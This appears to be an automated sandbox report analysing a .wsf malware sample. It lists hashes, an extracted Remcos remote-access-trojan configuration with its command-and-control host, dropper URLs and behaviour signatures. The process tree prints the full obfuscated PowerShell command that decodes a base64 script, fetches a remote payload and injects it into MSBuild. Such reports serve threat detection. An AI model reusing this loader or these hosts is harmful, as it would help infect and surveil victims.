Analysis

  • max time kernel
    297s
  • max time network
    283s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    03-12-2024 10:46

General

  • Target

    1016012 Piel Company.wsf

  • Size

    3KB

  • MD5

    2351b140cfa13f0cf05f93b471edd1f6

  • SHA1

    aab24f356405a117ce7df0016b131872fb1b2f16

  • SHA256

    4e176fd538ca3aade9d71291f18cbe73022c88dd19e29fba250a6d0a9137be17

  • SHA512

    bb7e68724ba4e4169e90b0ff3d6379dda43c0d01bf1e26b91211a124833317a4741bb6c5f0c3e97bcc79f8d01460bb09b6cf963c2f39890b7063ddd1b74f0085

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

https://res.cloudinary.com/dytflt61n/image/upload/v1733134947/bklpyseyeut4impw50n1.jpg%20

exe.dropper

https://res.cloudinary.com/dytflt61n/image/upload/v1733134947/bklpyseyeut4impw50n1.jpg%20

Extracted

Family

remcos

Botnet

RemoteHost

C2

ahmedahmed.ddns.net:6426

Attributes
  • audio_folder

    MicRecords

  • audio_path

    ApplicationPath

  • audio_record_time

    5

  • connect_delay

    0

  • connect_interval

    1

  • copy_file

    remcos.exe

  • copy_folder

    Remcos

  • delete_file

    false

  • hide_file

    false

  • hide_keylog_file

    false

  • install_flag

    false

  • keylog_crypt

    false

  • keylog_file

    logs.dat

  • keylog_flag

    false

  • keylog_folder

    remcos

  • mouse_option

    false

  • mutex

    Rmc-SEVL3E

  • screenshot_crypt

    false

  • screenshot_flag

    false

  • screenshot_folder

    Screenshots

  • screenshot_path

    %AppData%

  • screenshot_time

    10

  • take_screenshot_option

    false

  • take_screenshot_time

    5

Signatures

  • Remcos

    Remcos is a closed-source remote control and surveillance software.

  • Remcos family
  • Blocklisted process makes network request 4 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

  • Suspicious use of SetThreadContext 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Script User-Agent 2 IoCs

    Uses user-agent string associated with script host/environment.

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 12 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\1016012 Piel Company.wsf"
    1⤵
    • Blocklisted process makes network request
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:632
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $originador = 'aWYgKCRudWxsIC1uZSAkUFNWZXJzaW9uVGFibGUgLWFuZCAkUFNWZXJzaW9uVGFibGUuUFNWZXJzaW9uIC1uZSAkbnVsbCkgeyBbdm9pZF0kUFNWZXJzaW9uVGFibGUuUFNWZXJzaW9uIH0gZWxzZSB7IFdyaXRlLU91dHB1dCAnUG93ZXJTaGVsbCB2ZXJzaW9uIE5vdCBhdmFpbGFibGUnIH07aWYgKCRudWxsIC1uZSAkUFNWZXJzaW9uVGFibGUgLWFuZCAkUFNWZXJzaW9uVGFibGUuUFNWZXJzaW9uIC1uZSAkbnVsbCkgeyBbdm9pZF0kUFNWZXJzaW9uVGFibGUuUFNWZXJzaW9uIH0gZWxzZSB7IFdyaXRlLU91dHB1dCAnUG93ZXJTaGVsbCB2ZXJzaW9uIE5vdCBhdmFpbGFibGUnIH07JGFudGl2aXZpc3NlY2Npb25pc3RhID0gJ2h0dHBzOi8vcmVzLmNsb3VkaW5hcnkuY29tL2R5dGZsdDYxbi9pbWFnZS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ZCgnVkFJJyk7JGdyYWZpY2FtZW50ZS5JbnZva2UoJG51bGwsIEAoJzAvZUdwdU4vci9lZS5ldHNhcC8vOnNwdHRoJywgJ2JyYW5kbycsICdicmFuZG8nLCAnYnJhbmRvJywgJ01TQnVpbGQnLCAnYnJhbmRvJywgJ2JyYW5kbycsJ2JyYW5kbycsJ2JyYW5kbycsJ2JyYW5kbycsJ2JyYW5kbycsJ2JyYW5kbycsJzEnLCdicmFuZG8nKSk7aWYgKCRudWxsIC1uZSAkUFNWZXJzaW9uVGFibGUgLWFuZCAkUFNWZXJzaW9uVGFibGUuUFNWZXJzaW9uIC1uZSAkbnVsbCkgeyBbdm9pZF0kUFNWZXJzaW9uVGFibGUuUFNWZXJzaW9uIH0gZWxzZSB7IFdyaXRlLU91dHB1dCAnUG93ZXJTaGVsbCB2ZXJzaW9uIE5vdCBhdmFpbGFibGUnIH07aWYgKCRudWxsIC1uZSAkUFNWZXJzaW9uVGFibGUgLWFuZCAkUFNWZXJzaW9uVGFibGUuUFNWZXJzaW9uIC1uZSAkbnVsbCkgeyBbdm9pZF0kUFNWZXJzaW9uVGFibGUuUFNWZXJzaW9uIH0gZWxzZSB7IFdyaXRlLU91dHB1dCAnUG93ZXJTaGVsbCB2ZXJzaW9uIE5vdCBhdmFpbGFibGUnIH07';$alegorista = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($originador));Invoke-Expression $alegorista
      2⤵
      • Blocklisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Suspicious use of SetThreadContext
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:4728
      • C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of SetWindowsHookEx
        PID:1408

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\ProgramData\remcos\logs.dat

    Filesize

    144B

    MD5

    c5049445fa7fadb51dc3ac0d1b548515

    SHA1

    c0512f2531ba3defaa8c90c6cd6f0a312b93f9f2

    SHA256

    85903fb0184ca706588897862b765bb1a5078e3548fa8543065daaadf3547c1a

    SHA512

    d979cded83e9229e75135273d1e632f0e316f97f5d1cab58f1ee7c7ae9f5e079748736306aa753b873b72f813c29b5d99a613780f59692f371d1b6afc016f49b

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_qtx1m0fj.kjp.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • memory/1408-58-0x0000000000400000-0x000000000047F000-memory.dmp

    Filesize

    508KB

  • memory/1408-29-0x0000000000400000-0x000000000047F000-memory.dmp

    Filesize

    508KB

  • memory/1408-106-0x0000000000400000-0x000000000047F000-memory.dmp

    Filesize

    508KB

  • memory/1408-36-0x0000000000400000-0x000000000047F000-memory.dmp

    Filesize

    508KB

  • memory/1408-105-0x0000000000400000-0x000000000047F000-memory.dmp

    Filesize

    508KB

  • memory/1408-41-0x0000000000400000-0x000000000047F000-memory.dmp

    Filesize

    508KB

  • memory/1408-97-0x0000000000400000-0x000000000047F000-memory.dmp

    Filesize

    508KB

  • memory/1408-37-0x0000000000400000-0x000000000047F000-memory.dmp

    Filesize

    508KB

  • memory/1408-98-0x0000000000400000-0x000000000047F000-memory.dmp

    Filesize

    508KB

  • memory/1408-19-0x0000000000400000-0x000000000047F000-memory.dmp

    Filesize

    508KB

  • memory/1408-22-0x0000000000400000-0x000000000047F000-memory.dmp

    Filesize

    508KB

  • memory/1408-90-0x0000000000400000-0x000000000047F000-memory.dmp

    Filesize

    508KB

  • memory/1408-24-0x0000000000400000-0x000000000047F000-memory.dmp

    Filesize

    508KB

  • memory/1408-25-0x0000000000400000-0x000000000047F000-memory.dmp

    Filesize

    508KB

  • memory/1408-26-0x0000000000400000-0x000000000047F000-memory.dmp

    Filesize

    508KB

  • memory/1408-66-0x0000000000400000-0x000000000047F000-memory.dmp

    Filesize

    508KB

  • memory/1408-30-0x0000000000400000-0x000000000047F000-memory.dmp

    Filesize

    508KB

  • memory/1408-31-0x0000000000400000-0x000000000047F000-memory.dmp

    Filesize

    508KB

  • memory/1408-32-0x0000000000400000-0x000000000047F000-memory.dmp

    Filesize

    508KB

  • memory/1408-33-0x0000000000400000-0x000000000047F000-memory.dmp

    Filesize

    508KB

  • memory/1408-89-0x0000000000400000-0x000000000047F000-memory.dmp

    Filesize

    508KB

  • memory/1408-82-0x0000000000400000-0x000000000047F000-memory.dmp

    Filesize

    508KB

  • memory/1408-81-0x0000000000400000-0x000000000047F000-memory.dmp

    Filesize

    508KB

  • memory/1408-42-0x0000000000400000-0x000000000047F000-memory.dmp

    Filesize

    508KB

  • memory/1408-74-0x0000000000400000-0x000000000047F000-memory.dmp

    Filesize

    508KB

  • memory/1408-49-0x0000000000400000-0x000000000047F000-memory.dmp

    Filesize

    508KB

  • memory/1408-50-0x0000000000400000-0x000000000047F000-memory.dmp

    Filesize

    508KB

  • memory/1408-57-0x0000000000400000-0x000000000047F000-memory.dmp

    Filesize

    508KB

  • memory/1408-73-0x0000000000400000-0x000000000047F000-memory.dmp

    Filesize

    508KB

  • memory/1408-65-0x0000000000400000-0x000000000047F000-memory.dmp

    Filesize

    508KB

  • memory/4728-23-0x00007FF864F20000-0x00007FF8659E1000-memory.dmp

    Filesize

    10.8MB

  • memory/4728-0-0x00007FF864F23000-0x00007FF864F25000-memory.dmp

    Filesize

    8KB

  • memory/4728-10-0x00000161752B0000-0x00000161752D2000-memory.dmp

    Filesize

    136KB

  • memory/4728-15-0x00007FF864F20000-0x00007FF8659E1000-memory.dmp

    Filesize

    10.8MB

  • memory/4728-17-0x00007FF864F20000-0x00007FF8659E1000-memory.dmp

    Filesize

    10.8MB

  • memory/4728-13-0x00007FF864F20000-0x00007FF8659E1000-memory.dmp

    Filesize

    10.8MB

  • memory/4728-11-0x00007FF864F20000-0x00007FF8659E1000-memory.dmp

    Filesize

    10.8MB

  • memory/4728-18-0x0000016177C00000-0x0000016177D58000-memory.dmp

    Filesize

    1.3MB

  • memory/4728-16-0x00007FF864F20000-0x00007FF8659E1000-memory.dmp

    Filesize

    10.8MB

  • memory/4728-14-0x00007FF864F23000-0x00007FF864F25000-memory.dmp

    Filesize

    8KB

  • memory/4728-12-0x00007FF864F20000-0x00007FF8659E1000-memory.dmp

    Filesize

    10.8MB